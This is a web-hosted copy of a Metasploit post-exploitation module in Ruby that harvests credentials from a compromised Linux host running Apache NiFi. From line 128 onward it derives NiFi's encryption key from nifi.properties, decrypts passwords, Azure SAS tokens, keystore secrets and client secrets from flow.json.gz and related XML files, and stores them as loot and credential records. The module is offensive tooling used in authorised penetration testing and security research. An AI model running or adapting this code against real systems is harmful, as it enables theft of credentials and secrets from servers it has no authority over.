CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/apache_nifi_credentials.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Apache NiFi Credentials Gather',
14
'Description' => %q{
15
This module will grab Apache NiFi credentials from various files on Linux.
16
},
17
'License' => MSF_LICENSE,
18
'Author' => [
19
'h00die', # Metasploit Module
20
'Topaco', # crypto assist
21
],
22
'Platform' => ['linux', 'unix'],
23
'SessionTypes' => ['shell', 'meterpreter'],
24
'References' => [
25
['URL', 'https://stackoverflow.com/questions/77391210/python-vs-ruby-aes-pbkdf2'],
26
['URL', 'https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#nifi_sensitive_props_key']
27
],
28
'Notes' => {
29
'Stability' => [CRASH_SAFE],
30
'Reliability' => [],
31
'SideEffects' => []
32
}
33
)
34
)
35
36
register_options(
37
[
38
OptString.new('NIFI_PATH', [false, 'NiFi folder', '/opt/nifi/']),
39
OptString.new('NIFI_PROPERTIES', [false, 'NiFi Properties file', '/opt/nifi/conf/nifi.properties']),
40
OptString.new('NIFI_FLOW_JSON', [false, 'NiFi flow.json.gz file', '/opt/nifi/conf/flow.json.gz']),
41
OptString.new('NIFI_IDENTITY', [false, 'NiFi login-identity-providers.xml file', '/opt/nifi/conf/login-identity-providers.xml']),
42
OptString.new('NIFI_AUTHORIZERS', [false, 'NiFi authorizers file', '/opt/nifi/conf/authorizers.xml']),
43
OptInt.new('ITERATIONS', [true, 'Encryption iterations', 160_000])
44
], self.class
45
)
46
end
47
48
def authorizers_file
49
return @authorizers_file if @authorizers_file
50
51
[datastore['NIFI_authorizers'], "#{datastore['NIFI_PATH']}/conf/authorizers.xml"].each do |f|
52
unless file_exist? f
53
vprint_bad("#{f} not found")
54
next
55
end
56
vprint_status("Found authorizers.xml file #{f}")
57
unless readable? f
58
vprint_bad("#{f} not readable")
59
next
60
end
61
print_good("#{f} is readable!")
62
@authorizers_file = f
63
break
64
end
65
@authorizers_file
66
end
67
68
def identity_file
69
return @identity_file if @identity_file
70
71
[datastore['NIFI_IDENTITY'], "#{datastore['NIFI_PATH']}/conf/login-identity-providers.xml"].each do |f|
72
unless file_exist? f
73
vprint_bad("#{f} not found")
74
next
75
end
76
vprint_status("Found login-identity-providers.xml file #{f}")
77
unless readable? f
78
vprint_bad("#{f} not readable")
79
next
80
end
81
print_good("#{f} is readable!")
82
@identity_file = f
83
break
84
end
85
@identity_file
86
end
87
88
def properties_file
89
return @properties_file if @properties_file
90
91
[datastore['NIFI_PROPERTIES'], "#{datastore['NIFI_PATH']}/conf/nifi.properties"].each do |f|
92
unless file_exist? f
93
vprint_bad("#{f} not found")
94
next
95
end
96
vprint_status("Found nifi.properties file #{f}")
97
unless readable? f
98
vprint_bad("#{f} not readable")
99
next
100
end
101
print_good("#{f} is readable!")
102
@properties_file = f
103
break
104
end
105
@properties_file
106
end
107
108
def flow_file
109
return @flow_file if @flow_file
110
111
[datastore['NIFI_FLOW_JSON'], "#{datastore['NIFI_PATH']}/conf/flow.json.gz"].each do |f|
112
unless file_exist? f
113
vprint_bad("#{f} not found")
114
next
115
end
116
vprint_status("Found flow.json.gz file #{f}")
117
unless readable? f
118
vprint_bad("#{f} not readable")
119
next
120
end
121
print_good("#{f} is readable!")
122
@flow_file = f
123
break
124
end
125
@flow_file
126
end
127
128
def salt
129
'NiFi Static Salt'
130
end
131
132
def process_type_azure_storage_credentials_controller_service(name, service)
133
table_entries = []
134
storage_account_name = parse_aes_256_gcm_enc_string(service['storage-account-name'])
135
return table_entries if storage_account_name.nil?
136
137
storage_account_name_decrypt = decrypt_aes_256_gcm(storage_account_name, @decrypted_key)
138
139
# this is optional
140
if service['managed-identity-client-id']
141
client_id = parse_aes_256_gcm_enc_string(service['managed-identity-client-id'])
142
return table_entries if client_id.nil?
143
144
client_id_decrypt = decrypt_aes_256_gcm(client_id, @decrypted_key)
145
else
146
client_id_decrypt = ''
147
end
148
149
sas_token = parse_aes_256_gcm_enc_string(service['storage-sas-token'])
150
return table_entries if sas_token.nil?
151
152
sas_token_decrypt = decrypt_aes_256_gcm(sas_token, @decrypted_key)
153
154
information = "storage-account-name: #{storage_account_name_decrypt}"
155
information << ", storage-endpoint-suffix: #{service['storage-endpoint-suffix']}" if service['storage-endpoint-suffix']
156
table_username = client_id_decrypt.empty? ? '' : "managed-identity-client-id: #{client_id_decrypt}"
157
158
@flow_json_string = @flow_json_string.gsub(service['storage-sas-token'], sas_token_decrypt)
159
@flow_json_string = @flow_json_string.gsub(service['storage-account-name'], storage_account_name_decrypt)
160
@flow_json_string = @flow_json_string.gsub(service['managed-identity-client-id'], client_id_decrypt) unless client_id_decrypt.empty?
161
table_entries << [name, table_username, sas_token_decrypt, information]
162
table_entries
163
end
164
165
# This function is built to attempt to decrypt a processor/service that we dont have a specific decryptor for.
166
# we may miss grouping some fields together, but its better to print them out than do nothing with them.
167
def process_type_generic(name, processor)
168
table_entries = []
169
processor.each do |property|
170
property_name = property[0]
171
property_value = property[1]
172
next unless property_value.is_a? String
173
next unless property_value.starts_with? 'enc{'
174
175
password = parse_aes_256_gcm_enc_string(property_value)
176
next if password.nil?
177
178
password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
179
table_entries << [name, '', password_decrypt, "Property name: #{property_name}"]
180
@flow_json_string = @flow_json_string.gsub(property_value, password_decrypt)
181
end
182
table_entries
183
end
184
185
def process_type_org_apache_nifi_processors_standard_gethttp(name, processor)
186
table_entries = []
187
return table_entries unless processor['Password']
188
189
username = processor['Username']
190
url = processor['URL']
191
password = parse_aes_256_gcm_enc_string(processor['Password'])
192
return table_entries if password.nil?
193
194
password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
195
table_entries << [name, username, password_decrypt, "URL: #{url}"]
196
@flow_json_string = @flow_json_string.gsub(processor['Password'], password_decrypt)
197
table_entries
198
end
199
200
def process_type_standard_restricted_ssl_context_service(controller_properties)
201
table_entries = []
202
if controller_properties['Keystore Filename'] && controller_properties['Keystore Password']
203
name = 'Keystore'
204
username = controller_properties['Keystore Filename']
205
password = parse_aes_256_gcm_enc_string(controller_properties['Keystore Password'])
206
unless password.nil?
207
password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
208
table_entries << [name, username, password_decrypt, '']
209
@flow_json_string = @flow_json_string.gsub(controller_properties['Keystore Password'], password_decrypt)
210
end
211
end
212
213
if controller_properties['Truststore Filename'] && controller_properties['Truststore Password']
214
name = 'Truststore'
215
username = controller_properties['Truststore Filename']
216
password = parse_aes_256_gcm_enc_string(controller_properties['Truststore Password'])
217
unless password.nil?
218
password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
219
table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"]
220
@flow_json_string = @flow_json_string.gsub(controller_properties['Truststore Password'], password_decrypt)
221
end
222
end
223
224
return table_entries unless controller_properties['Truststore Filename'] && controller_properties['key-password']
225
226
name = 'Key Password'
227
username = controller_properties['Truststore Filename']
228
password = parse_aes_256_gcm_enc_string(controller_properties['key-password'])
229
return table_entries if password.nil?
230
231
password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
232
table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"]
233
@flow_json_string = @flow_json_string.gsub(controller_properties['key-password'], password_decrypt)
234
235
table_entries
236
end
237
238
def decrypt_aes_256_gcm(enc_fields, key)
239
vprint_status(' Decryption initiated for AES-256-GCM')
240
vprint_status(" Nonce: #{enc_fields[:nonce]}, Auth Tag: #{enc_fields[:auth_tag]}, Ciphertext: #{enc_fields[:ciphertext]}")
241
cipher = OpenSSL::Cipher.new('AES-256-GCM')
242
cipher.decrypt
243
cipher.key = key
244
cipher.iv_len = 16
245
cipher.iv = [enc_fields[:nonce]].pack('H*')
246
cipher.auth_tag = [enc_fields[:auth_tag]].pack('H*')
247
248
decrypted_text = cipher.update([enc_fields[:ciphertext]].pack('H*'))
249
decrypted_text << cipher.final
250
decrypted_text
251
end
252
253
def parse_aes_256_gcm_enc_string(password)
254
password = password[4, password.length - 5] # remove enc{ at the beginning and } at the end
255
password.match(/(?<nonce>\w{32})(?<ciphertext>\w+)(?<auth_tag>\w{32})/) # parse out the fields
256
end
257
258
def run
259
unless (flow_file && properties_file) || identity_file
260
fail_with(Failure::NotFound, 'Unable to find login-identity-providers.xml, nifi.properties and/or flow.json.gz files')
261
end
262
263
properties = read_file(properties_file)
264
path = store_loot('nifi.properties', 'text/plain', session, properties, 'nifi.properties', 'nifi properties file')
265
print_good("properties data saved in: #{path}")
266
key = properties.scan(/^nifi.sensitive.props.key=(.+)$/).flatten.first.strip
267
fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if key.nil?
268
print_good("Key: #{key}")
269
# https://rubular.com/r/N0w0WHTjjdKXHZ
270
# https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#property-encryption-algorithms
271
# https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#java-cryptography-extension-jce-limited-strength-jurisdiction-policies
272
algorithm = properties.scan(/^nifi.sensitive.props.algorithm=([\w-]+)$/).flatten.first.strip
273
fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if algorithm.nil?
274
275
columns = ['Name', 'Username', 'Password', 'Other Information']
276
table = Rex::Text::Table.new('Header' => 'NiFi Flow Data', 'Indent' => 1, 'Columns' => columns)
277
278
if flow_file
279
flow_json = Zlib.gunzip(read_file(flow_file))
280
281
path = store_loot('nifi.flow.json', 'application/json', session, flow_json, 'flow.json', 'nifi flow data')
282
print_good("Original data containing encrypted fields saved in: #{path}")
283
284
flow_json = JSON.parse(flow_json)
285
@flow_json_string = JSON.pretty_generate(flow_json) # so we can save an unencrypted version as well
286
287
# NIFI_PBKDF2_AES_GCM_256 is the default as of 1.14.0
288
# leave this as an if statement so it can be expanded to include more algorithms in the future
289
if algorithm == 'NIFI_PBKDF2_AES_GCM_256'
290
# https://gist.github.com/tylerpace/8f64b7e00ffd9fb1ef5ea70df0f9442f
291
@decrypted_key = OpenSSL::PKCS5.pbkdf2_hmac(key, salt, datastore['ITERATIONS'], 32, OpenSSL::Digest.new('SHA512'))
292
293
vprint_status('Checking root group processors')
294
flow_json.dig('rootGroup', 'processors').each do |processor|
295
vprint_status(" Analyzing #{processor['processor']} of type #{processor['type']}")
296
case processor['type']
297
when 'org.apache.nifi.processors.standard.GetHTTP'
298
table_entries = process_type_org_apache_nifi_processors_standard_gethttp(processor['name'], processor['properties'])
299
else
300
table_entries = process_type_generic(processor['name'], processor['properties'])
301
end
302
table.rows.concat table_entries
303
end
304
305
vprint_status('Checking root group controller services')
306
flow_json.dig('rootGroup', 'controllerServices').each do |service|
307
vprint_status(" Analyzing #{service['name']} of type #{service['type']}")
308
case service['type']
309
when 'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService_v12',
310
'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService'
311
table_entries = process_type_azure_storage_credentials_controller_service(service['name'], service['properties'])
312
when 'org.apache.nifi.ssl.StandardRestrictedSSLContextService'
313
table_entries = process_type_standard_restricted_ssl_context_service(service['properties'])
314
else
315
table_entries = process_type_generic(service['name'], service['properties'])
316
end
317
table.rows.concat table_entries
318
end
319
320
else
321
print_bad("Processor for #{algorithm} not implemented in module. Use nifi-toolkit to potentially change algorithm.")
322
end
323
324
unless @flow_json_string == JSON.pretty_generate(flow_json) # dont write if we didn't change anything
325
path = store_loot('nifi.flow.decrypted.json', 'application/json', session, @flow_json_string, 'flow.decrypted.json', 'nifi flow data decrypted')
326
print_good("Decrypted data saved in: #{path}")
327
end
328
end
329
330
vprint_status('Checking identity file')
331
if identity_file
332
identity_content = read_file(identity_file)
333
xml = Nokogiri::XML.parse(identity_content)
334
335
xml.xpath('//loginIdentityProviders//provider').each do |c|
336
name = c.xpath('identifier').text
337
username = c.xpath('property[@name="Username"]').text
338
hash = c.xpath('property[@name="Password"]').text
339
next if username.blank? || hash.blank?
340
341
table << [name, username, hash, 'From login-identity-providers.xml']
342
343
credential_data = {
344
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
345
origin_type: :session,
346
post_reference_name: refname,
347
private_type: :nonreplayable_hash,
348
private_data: hash,
349
session_id: session_db_id,
350
username: username,
351
workspace_id: myworkspace_id
352
}
353
create_credential(credential_data)
354
end
355
end
356
357
vprint_status('Checking authorizers file')
358
if authorizers_file
359
authorizers_content = read_file(authorizers_file)
360
xml = Nokogiri::XML.parse(authorizers_content)
361
362
xml.xpath('//authorizers//userGroupProvider').each do |c|
363
next if c.xpath('property[@name="Client Secret"]').text.blank?
364
365
name = c.xpath('identifier').text
366
username = "Directory/Tenant ID: #{c.xpath('property[@name="Directory ID"]').text}" \
367
", Application ID: #{c.xpath('property[@name="Application ID"]').text}"
368
password = c.xpath('property[@name="Client Secret"]').text
369
next if username.blank? || hash.blank?
370
371
table << [name, username, password, 'From authorizers.xml']
372
end
373
end
374
375
if !table.rows.empty?
376
print_good('NiFi Flow Values')
377
print_line(table.to_s)
378
end
379
end
380
end
381
382